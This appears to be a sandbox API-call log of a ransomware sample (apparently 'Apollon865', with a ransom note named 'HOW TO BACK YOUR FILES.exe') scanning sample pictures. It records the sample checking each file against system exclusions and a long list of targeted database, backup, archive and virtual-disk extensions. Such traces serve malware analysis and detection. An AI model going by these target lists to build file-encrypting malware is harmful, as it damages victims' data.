	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0035.864] lstrlenW (lpString="dcx") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0035.864] lstrlenW (lpString="ddl") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0035.864] lstrlenW (lpString="dlis") returned 4
	[0035.864] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0035.864] lstrlenW (lpString="dp1") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0035.864] lstrlenW (lpString="dqy") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0035.864] lstrlenW (lpString="dsk") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0035.864] lstrlenW (lpString="dsn") returned 3
	[0035.864] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0035.865] lstrlenW (lpString="dtsx") returned 4
	[0035.865] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0035.865] lstrlenW (lpString="dxl") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0035.865] lstrlenW (lpString="eco") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0035.865] lstrlenW (lpString="ecx") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0035.865] lstrlenW (lpString="edb") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0035.865] lstrlenW (lpString="epim") returned 4
	[0035.865] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0035.865] lstrlenW (lpString="fcd") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0035.865] lstrlenW (lpString="fdb") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0035.865] lstrlenW (lpString="fic") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0035.865] lstrlenW (lpString="flexolibrary") returned 12
	[0035.865] lstrcmpiW (lpString1="anthemum.jpg", lpString2="flexolibrary") returned -1
	[0035.865] lstrlenW (lpString="fm5") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0035.865] lstrlenW (lpString="fmp") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0035.865] lstrlenW (lpString="fmp12") returned 5
	[0035.865] lstrcmpiW (lpString1="m.jpg", lpString2="fmp12") returned 1
	[0035.865] lstrlenW (lpString="fmpsl") returned 5
	[0035.865] lstrcmpiW (lpString1="m.jpg", lpString2="fmpsl") returned 1
	[0035.865] lstrlenW (lpString="fol") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0035.865] lstrlenW (lpString="fp3") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0035.865] lstrlenW (lpString="fp4") returned 3
	[0035.865] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0035.866] lstrlenW (lpString="fp5") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0035.866] lstrlenW (lpString="fp7") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0035.866] lstrlenW (lpString="fpt") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0035.866] lstrlenW (lpString="frm") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0035.866] lstrlenW (lpString="gdb") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.866] lstrlenW (lpString="gdb") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.866] lstrlenW (lpString="grdb") returned 4
	[0035.866] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0035.866] lstrlenW (lpString="gwi") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0035.866] lstrlenW (lpString="hdb") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0035.866] lstrlenW (lpString="his") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0035.866] lstrlenW (lpString="ib") returned 2
	[0035.866] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0035.866] lstrlenW (lpString="idb") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0035.866] lstrlenW (lpString="ihx") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0035.866] lstrlenW (lpString="itdb") returned 4
	[0035.866] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0035.866] lstrlenW (lpString="itw") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0035.866] lstrlenW (lpString="jet") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0035.866] lstrlenW (lpString="jtx") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0035.866] lstrlenW (lpString="kdb") returned 3
	[0035.866] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0035.866] lstrlenW (lpString="kexi") returned 4
	[0035.866] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0035.866] lstrlenW (lpString="kexic") returned 5
	[0035.867] lstrcmpiW (lpString1="m.jpg", lpString2="kexic") returned 1
	[0035.867] lstrlenW (lpString="kexis") returned 5
	[0035.867] lstrcmpiW (lpString1="m.jpg", lpString2="kexis") returned 1
	[0035.867] lstrlenW (lpString="lgc") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0035.867] lstrlenW (lpString="lwx") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0035.867] lstrlenW (lpString="maf") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0035.867] lstrlenW (lpString="maq") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0035.867] lstrlenW (lpString="mar") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0035.867] lstrlenW (lpString="marshal") returned 7
	[0035.867] lstrcmpiW (lpString1="mum.jpg", lpString2="marshal") returned 1
	[0035.867] lstrlenW (lpString="mas") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0035.867] lstrlenW (lpString="mav") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0035.867] lstrlenW (lpString="maw") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0035.867] lstrlenW (lpString="mdbhtml") returned 7
	[0035.867] lstrcmpiW (lpString1="mum.jpg", lpString2="mdbhtml") returned 1
	[0035.867] lstrlenW (lpString="mdn") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0035.867] lstrlenW (lpString="mdt") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0035.867] lstrlenW (lpString="mfd") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0035.867] lstrlenW (lpString="mpd") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0035.867] lstrlenW (lpString="mrg") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0035.867] lstrlenW (lpString="mud") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0035.867] lstrlenW (lpString="mwb") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0035.867] lstrlenW (lpString="myd") returned 3
	[0035.867] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0035.867] lstrlenW (lpString="ndf") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0035.868] lstrlenW (lpString="nnt") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0035.868] lstrlenW (lpString="nrmlib") returned 6
	[0035.868] lstrcmpiW (lpString1="um.jpg", lpString2="nrmlib") returned 1
	[0035.868] lstrlenW (lpString="ns2") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0035.868] lstrlenW (lpString="ns3") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0035.868] lstrlenW (lpString="ns4") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0035.868] lstrlenW (lpString="nsf") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0035.868] lstrlenW (lpString="nv") returned 2
	[0035.868] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0035.868] lstrlenW (lpString="nv2") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0035.868] lstrlenW (lpString="nwdb") returned 4
	[0035.868] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0035.868] lstrlenW (lpString="nyf") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0035.868] lstrlenW (lpString="odb") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.868] lstrlenW (lpString="odb") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.868] lstrlenW (lpString="oqy") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0035.868] lstrlenW (lpString="ora") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0035.868] lstrlenW (lpString="orx") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0035.868] lstrlenW (lpString="owc") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0035.868] lstrlenW (lpString="p96") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0035.868] lstrlenW (lpString="p97") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0035.868] lstrlenW (lpString="pan") returned 3
	[0035.868] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0035.868] lstrlenW (lpString="pdb") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0035.869] lstrlenW (lpString="pdm") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0035.869] lstrlenW (lpString="pnz") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0035.869] lstrlenW (lpString="qry") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0035.869] lstrlenW (lpString="qvd") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0035.869] lstrlenW (lpString="rbf") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0035.869] lstrlenW (lpString="rctd") returned 4
	[0035.869] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0035.869] lstrlenW (lpString="rod") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0035.869] lstrlenW (lpString="rodx") returned 4
	[0035.869] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0035.869] lstrlenW (lpString="rpd") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0035.869] lstrlenW (lpString="rsd") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0035.869] lstrlenW (lpString="sas7bdat") returned 8
	[0035.869] lstrcmpiW (lpString1="emum.jpg", lpString2="sas7bdat") returned -1
	[0035.869] lstrlenW (lpString="sbf") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0035.869] lstrlenW (lpString="scx") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0035.869] lstrlenW (lpString="sdb") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0035.869] lstrlenW (lpString="sdc") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0035.869] lstrlenW (lpString="sdf") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0035.869] lstrlenW (lpString="sis") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0035.869] lstrlenW (lpString="spq") returned 3
	[0035.869] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0035.870] lstrlenW (lpString="te") returned 2
	[0035.870] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0035.870] lstrlenW (lpString="teacher") returned 7
	[0035.870] lstrcmpiW (lpString1="mum.jpg", lpString2="teacher") returned -1
	[0035.870] lstrlenW (lpString="tmd") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0035.870] lstrlenW (lpString="tps") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0035.870] lstrlenW (lpString="trc") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.870] lstrlenW (lpString="trc") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.870] lstrlenW (lpString="trm") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0035.870] lstrlenW (lpString="udb") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0035.870] lstrlenW (lpString="udl") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0035.870] lstrlenW (lpString="usr") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0035.870] lstrlenW (lpString="v12") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0035.870] lstrlenW (lpString="vis") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0035.870] lstrlenW (lpString="vpd") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0035.870] lstrlenW (lpString="vvv") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0035.870] lstrlenW (lpString="wdb") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0035.870] lstrlenW (lpString="wmdb") returned 4
	[0035.870] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0035.870] lstrlenW (lpString="wrk") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0035.870] lstrlenW (lpString="xdb") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0035.870] lstrlenW (lpString="xld") returned 3
	[0035.870] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0035.871] lstrlenW (lpString="xmlff") returned 5
	[0035.871] lstrcmpiW (lpString1="m.jpg", lpString2="xmlff") returned -1
	[0035.871] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2=".") returned 1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="..") returned 1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="windows") returned -1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="bootmgr") returned 1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="temp") returned -1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="pagefile.sys") returned -1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="boot") returned 1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="ids.txt") returned -1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="ntuser.dat") returned -1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="perflogs") returned -1
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2="MSBuild") returned -1
	[0035.871] lstrlenW (lpString="Desert.jpg") returned 10
	[0035.871] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg") returned 58
	[0035.871] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Desert.jpg" | out: lpString1="Desert.jpg") returned="Desert.jpg"
	[0035.871] lstrlenW (lpString="Desert.jpg") returned 10
	[0035.871] lstrlenW (lpString="Apollon865") returned 10
	[0035.871] lstrlenW (lpString=".dll") returned 4
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2=".dll") returned 1
	[0035.871] lstrlenW (lpString=".lnk") returned 4
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2=".lnk") returned 1
	[0035.871] lstrlenW (lpString=".ini") returned 4
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2=".ini") returned 1
	[0035.871] lstrlenW (lpString=".sys") returned 4
	[0035.871] lstrcmpiW (lpString1="Desert.jpg", lpString2=".sys") returned 1
	[0035.871] lstrlenW (lpString="Desert.jpg") returned 10
	[0035.871] lstrlenW (lpString="bak") returned 3
	[0035.871] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0035.871] lstrlenW (lpString="ba_") returned 3
	[0035.871] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0035.871] lstrlenW (lpString="dbb") returned 3
	[0035.871] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0035.872] lstrlenW (lpString="vmdk") returned 4
	[0035.872] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0035.872] lstrlenW (lpString="rar") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0035.872] lstrlenW (lpString="zip") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0035.872] lstrlenW (lpString="tgz") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0035.872] lstrlenW (lpString="vbox") returned 4
	[0035.872] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0035.872] lstrlenW (lpString="vdi") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0035.872] lstrlenW (lpString="vhd") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0035.872] lstrlenW (lpString="vhdx") returned 4
	[0035.872] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0035.872] lstrlenW (lpString="avhd") returned 4
	[0035.872] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0035.872] lstrlenW (lpString="db") returned 2
	[0035.872] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0035.872] lstrlenW (lpString="db2") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0035.872] lstrlenW (lpString="db3") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0035.872] lstrlenW (lpString="dbf") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0035.872] lstrlenW (lpString="mdf") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0035.872] lstrlenW (lpString="mdb") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0035.872] lstrlenW (lpString="sql") returned 3
	[0035.872] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0035.872] lstrlenW (lpString="sqlite") returned 6
	[0035.872] lstrcmpiW (lpString1="rt.jpg", lpString2="sqlite") returned -1
	[0035.872] lstrlenW (lpString="sqlite3") returned 7
	[0035.872] lstrcmpiW (lpString1="ert.jpg", lpString2="sqlite3") returned -1
	[0035.872] lstrlenW (lpString="sqlitedb") returned 8
	[0035.872] lstrcmpiW (lpString1="sert.jpg", lpString2="sqlitedb") returned -1
	[0035.872] lstrlenW (lpString="xml") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0035.873] lstrlenW (lpString="$er") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0035.873] lstrlenW (lpString="4dd") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0035.873] lstrlenW (lpString="4dl") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0035.873] lstrlenW (lpString="^^^") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0035.873] lstrlenW (lpString="abs") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0035.873] lstrlenW (lpString="abx") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0035.873] lstrlenW (lpString="accdb") returned 5
	[0035.873] lstrcmpiW (lpString1="t.jpg", lpString2="accdb") returned 1
	[0035.873] lstrlenW (lpString="accdc") returned 5
	[0035.873] lstrcmpiW (lpString1="t.jpg", lpString2="accdc") returned 1
	[0035.873] lstrlenW (lpString="accde") returned 5
	[0035.873] lstrcmpiW (lpString1="t.jpg", lpString2="accde") returned 1
	[0035.873] lstrlenW (lpString="accdr") returned 5
	[0035.873] lstrcmpiW (lpString1="t.jpg", lpString2="accdr") returned 1
	[0035.873] lstrlenW (lpString="accdt") returned 5
	[0035.873] lstrcmpiW (lpString1="t.jpg", lpString2="accdt") returned 1
	[0035.873] lstrlenW (lpString="accdw") returned 5
	[0035.873] lstrcmpiW (lpString1="t.jpg", lpString2="accdw") returned 1
	[0035.873] lstrlenW (lpString="accft") returned 5
	[0035.873] lstrcmpiW (lpString1="t.jpg", lpString2="accft") returned 1
	[0035.873] lstrlenW (lpString="adb") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.873] lstrlenW (lpString="adb") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.873] lstrlenW (lpString="ade") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0035.873] lstrlenW (lpString="adf") returned 3
	[0035.873] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0035.873] lstrlenW (lpString="adn") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0035.874] lstrlenW (lpString="adp") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0035.874] lstrlenW (lpString="alf") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0035.874] lstrlenW (lpString="ask") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0035.874] lstrlenW (lpString="btr") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0035.874] lstrlenW (lpString="cat") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0035.874] lstrlenW (lpString="cdb") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0035.874] lstrlenW (lpString="ckp") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0035.874] lstrlenW (lpString="cma") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0035.874] lstrlenW (lpString="cpd") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0035.874] lstrlenW (lpString="dacpac") returned 6
	[0035.874] lstrcmpiW (lpString1="rt.jpg", lpString2="dacpac") returned 1
	[0035.874] lstrlenW (lpString="dad") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0035.874] lstrlenW (lpString="dadiagrams") returned 10
	[0035.874] lstrlenW (lpString="daschema") returned 8
	[0035.874] lstrcmpiW (lpString1="sert.jpg", lpString2="daschema") returned 1
	[0035.874] lstrlenW (lpString="db-journal") returned 10
	[0035.874] lstrlenW (lpString="db-shm") returned 6
	[0035.874] lstrcmpiW (lpString1="rt.jpg", lpString2="db-shm") returned 1
	[0035.874] lstrlenW (lpString="db-wal") returned 6
	[0035.874] lstrcmpiW (lpString1="rt.jpg", lpString2="db-wal") returned 1
	[0035.874] lstrlenW (lpString="dbc") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0035.874] lstrlenW (lpString="dbs") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0035.874] lstrlenW (lpString="dbt") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0035.874] lstrlenW (lpString="dbv") returned 3
	[0035.874] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0035.875] lstrlenW (lpString="dbx") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0035.875] lstrlenW (lpString="dcb") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0035.875] lstrlenW (lpString="dct") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0035.875] lstrlenW (lpString="dcx") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0035.875] lstrlenW (lpString="ddl") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0035.875] lstrlenW (lpString="dlis") returned 4
	[0035.875] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0035.875] lstrlenW (lpString="dp1") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0035.875] lstrlenW (lpString="dqy") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0035.875] lstrlenW (lpString="dsk") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0035.875] lstrlenW (lpString="dsn") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0035.875] lstrlenW (lpString="dtsx") returned 4
	[0035.875] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0035.875] lstrlenW (lpString="dxl") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0035.875] lstrlenW (lpString="eco") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0035.875] lstrlenW (lpString="ecx") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0035.875] lstrlenW (lpString="edb") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0035.875] lstrlenW (lpString="epim") returned 4
	[0035.875] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0035.875] lstrlenW (lpString="fcd") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0035.875] lstrlenW (lpString="fdb") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0035.875] lstrlenW (lpString="fic") returned 3
	[0035.875] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0035.876] lstrlenW (lpString="flexolibrary") returned 12
	[0035.876] lstrlenW (lpString="fm5") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0035.876] lstrlenW (lpString="fmp") returned 3
	[0035.876] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0035.876] lstrlenW (lpString="fmp12") returned 5
	[0035.876] lstrcmpiW (lpString1="t.jpg", lpString2="fmp12") returned 1
	[0035.876] lstrlenW (lpString="fmpsl") returned 5
